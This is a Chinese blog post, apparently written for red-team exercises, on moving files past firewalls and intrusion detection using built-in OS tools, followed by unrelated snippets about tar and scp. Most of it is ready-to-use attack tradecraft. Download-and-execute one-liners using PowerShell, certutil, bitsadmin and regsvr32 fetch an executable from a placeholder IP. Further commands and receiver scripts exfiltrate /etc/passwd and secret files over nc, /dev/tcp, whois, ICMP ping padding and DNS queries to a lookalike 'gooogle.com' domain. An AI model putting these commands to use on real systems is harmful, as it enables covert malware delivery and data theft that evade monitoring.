红蓝对抗--蓝军套路之利用系统工具进行文件传输

在进行红蓝对抗演练时,蓝军常常需要最大化利用当前的环境绕过重兵防守的系统的防火墙、IDS、IPS等报警和监控系统进行文件传输。关键时刻,如何绕过这些防护进行文件传输,就成了蓝军***检测中的重要一步。

道高一尺,魔高一丈。今天就来摆一下利用操作系统默认自带工具进行文件传输的正确姿势。

一、搭建HTTP Server

● Python

python2:
python -m SimpleHTTPServer 1337

以上命令会在当前目录启动 HTTP 服务,端口为 1337

python3:
python -m http.server 1337

以上命令会在当前目录启动 HTTP 服务,端口为 1337

● PHP 5.4+

当 PHP 版本大于 5.4 是,可使用 PHP 在当前目录启动 HTTP 服务,端口为 1337

php -S 0.0.0.0:1337

● Ruby

下面的命令会在当前目录下启动 HTTP 服务,端口为 1337

ruby -rwebrick -e‘WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start‘

● Ruby 1.9.2+

ruby -run -e httpd . -p 1337

● Perl

perl -MHTTP::Server::Brick -e ‘$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start‘
perl -MIO::All -e ‘io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })‘

● busybox httpd

busybox httpd -f -p 8000

二、从 HTTP Server 下载文件

以下列出了在 Windows 和 Linux 系统下使用系统自带工具从 HTTP Server 下载文件的几种方法

● Windows

powershell
下载并执行:

powershell (new-object System.Net.WebClient).DownloadFile(‘http://1.2.3.4/5.exe‘,‘c:\download\a.exe‘);start-process ‘c:\download\a.exe‘

certutil

下载并执行:

certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe

bitsadmin

下载并执行:

bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe

bitsadmin 的下载速度比较慢

regsvr32

regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll

● Linux

Curl
curl http://1.2.3.4/backdoor
Wget
wget http://1.2.3.4/backdoor
awk

在使用 awk 进行下载文件时,首先使用以上列出的任意一条命令启动一个 HTTP Server

awk ‘BEGIN {
  RS = ORS = "\r\n"
  HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
  print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n"    |& HTTPCon
  while (HTTPCon |& getline > 0)
      print $0
  close(HTTPCon)
}‘

效果:

三、Setup HTTP PUT Server

以下列出了上传文件到 HTTP Server 的几种方法

● 使用 Nginx 搭建 HTTP PUT Server

mkdir -p /var/www/upload/ # 创建目录

chown www-data:www-data /var/www/upload/ # 修改目录所属用户和组

cd /etc/nginx/sites-available # 进入 nginx 虚拟主机目录

#写入配置到 file_upload 文件
cat <<EOF > file_upload
server {
    listen 8001 default_server;
    server_name kali;
        location / {
        root /var/www/upload;
        dav_methods PUT;
    }
}
EOF
# 写入完毕

cd ../sites-enable # 进入 nginx 虚拟主机启动目录

ln -s /etc/nginx/sites-available/file_upload file_upload # 启用 file_upload 虚拟主机

systemctl start nginx # 启动 Nginx

● 使用 Python 搭建 HTTP PUT Server

以下代码保存到 HTTPutServer.py 文件里:

https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class PUTHandler(BaseHTTPRequestHandler):
    def do_PUT(self):
        length = int(self.headers[‘Content-Length‘])
        content = self.rfile.read(length)
        self.send_response(200)
        with open(self.path[1:], "w") as f:
            f.write(content)

def run_on(port):
    print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port))
    server_address = (sys.argv[1], port)
    httpd = HTTPServer(server_address, PUTHandler)
    httpd.serve_forever()

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage:\n\tpython {0} ip 1337".format(sys.argv[0]))
        sys.exit(1)
    ports = [int(arg) for arg in sys.argv[2:]]
    try:
        for port_number in ports:
            server = Thread(target=run_on, args=[port_number])
            server.daemon = True # Do not make us wait for you to exit
        server.start()
        signal.pause() # Wait for interrupt signal, e.g. KeyboardInterrupt
    except KeyboardInterrupt:
        print "\nPython HTTP PUT Server Stoped."
        sys.exit(1)

运行方法:

$ python HTTPutServer.py 10.10.10.100 1337
Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...

四、上传文件到 HTTP PUT server

● Linux

Curl
$ curl --upload-file secret.txt http://ip:port/
Wget
$ wget --method=PUT --post-file=secret.txt http://ip:port/

● Windows

Powershell
$body = Get-Content secret.txt
Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body

五、使用 Bash /dev/tcp 进行文件传输

首先需要监听端口

文件接收端:
nc -lvnp 1337 > secret.txt

文件发送端:
cat secret.txt > /dev/tcp/ip/port

六、使用 SMB 协议进行文件传输

● 搭建简易 SMB Server

搭建简易SMB Server 需要用到 Impacket 项目的 smbserver.py 文件

Impacket 已默认安装在 Kali Linux 系统中

syntax: impacker-smbserver ShareName SharePath

$ mkdir smb # 创建 smb 目录

$ cd smb # 进入 smb目录

$ impacket-smbserver share pwd # 在当前目录启动 SMB server,共享名称为 share

效果:

从 SMB server 下载文件

copy \IP\ShareName\file.exe file.exe

上传文件到 SMB server

net use x: \IP\ShareName

copy file.txt x:

net use x: /delete

● 使用 whois 命令进行文件传输

/etc/passwdHost A

Host B

接收端 Host B:
nc -vlnp 1337 | sed "s/ //g" | base64 -d

发送端 Host A:
whois -h 127.0.0.1 -p 1337 cat /etc/passwd | base64

效果:

● 使用 ping 命令进行文件传输

secret.txtSender

Reciver

发送端:
xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done

接收端:
以下代码保存到 ping_receiver.py

import sys

try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")
    sys.exit(0)

def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 8:
            data = pkt[ICMP].load[-4:]
            print(f‘{data.decode("utf-8")}‘, flush=True, end="", sep="")

sniff(iface="eth0", prn=process_packet)

执行方法:
python3 ping_receiver.py

效果

● 使用 dig 命令进行文件传输

/etc/passwdSender

Reciver

发送端:
xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done

接收端:
以下代码使用了 python 的 scapy 模块,需要手动安装
代码保存到 dns_reciver.py 文件中

try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")

def process_packet(pkt):
    if pkt.haslayer(DNS):
        domain = pkt[DNS][DNSQR].qname.decode(‘utf-8‘)
        root_domain = domain.split(‘.‘)[1]
        if root_domain.startswith(‘gooogle‘):
            print(f‘{bytearray.fromhex(domain[:-13]).decode("utf-8")}‘, flush=True, end=‘‘)

sniff(iface="eth0", prn=process_packet)

运行方法:
python3 dns_reciver.py

效果:

七、使用 NetCat 进行文件传输

1.txtA:10.10.10.100

B:10.10.10.200

接受端:
nc -l -p 1337 > 1.txt

发送端:
cat 1.txt | nc -l -p 1337
或者
nc 10.10.10.200 1337 < 1.txt

在极端环境下,如果接受端没有 nc 可以使用 Bash 的 /dev/tcp 接收文件:
cat < /dev/tcp/10.10.10.200/1337 > 1.txt

近年来,随着互联网快速发展,网络***、信息泄露等问题也日益突出。这对公共网络安全、信息安全造成严重威胁。知道创宇提出了“未知攻、焉知防”的安全理念,这同样也是对抗演习的核心思想,以攻促防,全面了解企业安全防护的优劣势,提升安全人员的安全技能和防护水平。

原文地址:https://blog.51cto.com/14126565/2364740

时间: 2024-07-28 22:09:20

红蓝对抗--蓝军套路之利用系统工具进行文件传输的相关文章

运维学习之Linux系统中的文件传输、归档、压缩

不同系统之间的文件传输 1.文件归档 1. 文件归档,就是把多个文件变成一个归档文件 2. tar c ##创建 f ##指定归档文件名称 t ##显示归档文件中的内容 r ##向归档文件中添加文件 --get ##取出单个文件 --delete ##删除单个文件 x ##取出归档文件中的所有内容 -C ##指定解档目录 -z ##gz格式压缩 -j ##bz2格式压缩 -J ##xz格式压缩 2.压缩 gz gzip etc.tar ##压缩成gz格式 gunzip  etc.tar.gz #

linux云自动化运维基础知识12(不同系统之间的文件传输)

####1.文件归档####1.文件归档,就是把多个文件变成一个归档文件2.tar    c        ##创建    f        ##指定归档文件名称 t        ##显示归档文件中的内容 r        ##向归档文件中添加文件 --get        ##取出单个文件 --delete    ##删除单个文件 x        ##取出归档文件中的所有内容 -C        ##指定解档目录    -z        ##gz格式压缩    -j        ##b

不同系统之间的文件传输

####1.文件归档#### 1. 文件归档,就是把多个文件变成一个归档文件 2. tarc##创建 f##指定归档文件名称 t##显示归档文件中的内容 r##向归档文件中添加文件 --get##取出单个文件 --delete##删除单个文件 x##取出归档文件中的所有内容 -C##指定解档目录 -z##gz格式压缩 -j##bz2格式压缩 -J##xz格式压缩 ####2.压缩#### gz gzip etc.tar##压缩成gz格式 gunzip  etc.tar.gz##解压gz格式压缩包

第十二单元 不同系统之间的文件传输

第十二单元 不同系统之间的文件传输 一 文件归档 1.文件归档,就是把多个文件变成一个归档文件,通过文件归档可使发送文件的速度变快 命令    参数 tar  c:创建 f:指定归档文件名称 t:显示归档文件中的内容 r:向归档文件中添加文件 - -get:取出单个文件 - -delete:删除单个文件 x:取出归档文件中的所有内容 -C:指定解档目录 -z:gz格式压缩 -j:bz2格式压缩 -J:xz格式压缩 二 压缩(只能压缩纯文本,不能压缩视频) gz gzip etc.tar     

12.不同系统之间的文件传输(linux)

1.文件归档 文件归档,就是把多个文件变成一个归档文件命令   tar c       ##创建       f       ##指定归档文件名称       t       ##显示归档文件中的内容       r       ##向归档文件中添加文件       --get       ##取出单个文件       --delete    ##删除单个文件       x       ##取出归档文件中的所有内容       -C      ##指定解档目录       -z      ##

linux下用scp命令在两个服务器之间传输文件,利用php_scp函数进行文件传输

在linux下利用scp进行文件传输, 从服务器下载文件 scp [email protected]:/path/filename /path/filename 上传本地文件到服务器 scp /path/filename [email protected]:/path/filename 从服务器下载整个目录 scp -r [email protected]:remote_dir/ /path/ 上传目录到服务器       scp -r /dir [email protected]:remote

安恒Red Team 内部红蓝对抗框架

0x00  准备钓鱼攻击(从公开资源) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x02 发送钓鱼邮件(到目标组织员工邮箱地址) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x03 发送payload(到目标组织的员工系统) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x04 运行payload命令(在目标组织员工系统上) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x05 维持本地持久化(在目标组织员工系统上) 1.常见

Linux系统中的文件传输优化

scp命令 scp在传输的时候,速率相对而言较慢,但不会加大磁盘输入输出的负载 rsync(远程同步) 准备实验素材在输入密码的时候也会加长时间加密:不用输入密码,直接进行生成如图所示的脚本,使进行三次操作,观察scp和rsync运行的时间rsync的用法 文件的归档压缩 原文地址:https://blog.51cto.com/14653135/2470709

linux不同系统的文件传输与网络管理,一些网络协议的tip

目录 ****12.不同系统之间的文件传输****2 1.文件归档2 2.压缩2 gz2 bz22 xz2 zip2 3.系统中的文件传输2 ****11.管理网络****2 1.ip基础知识2 1.ipv42 2.配置ip2 1.图形界面2 2.文本化图形2 3.<<命令>>2 4.<<文件>>2 4.1 dhcp //动态获取2 4.2 static|none //静态网络2 ************************************* *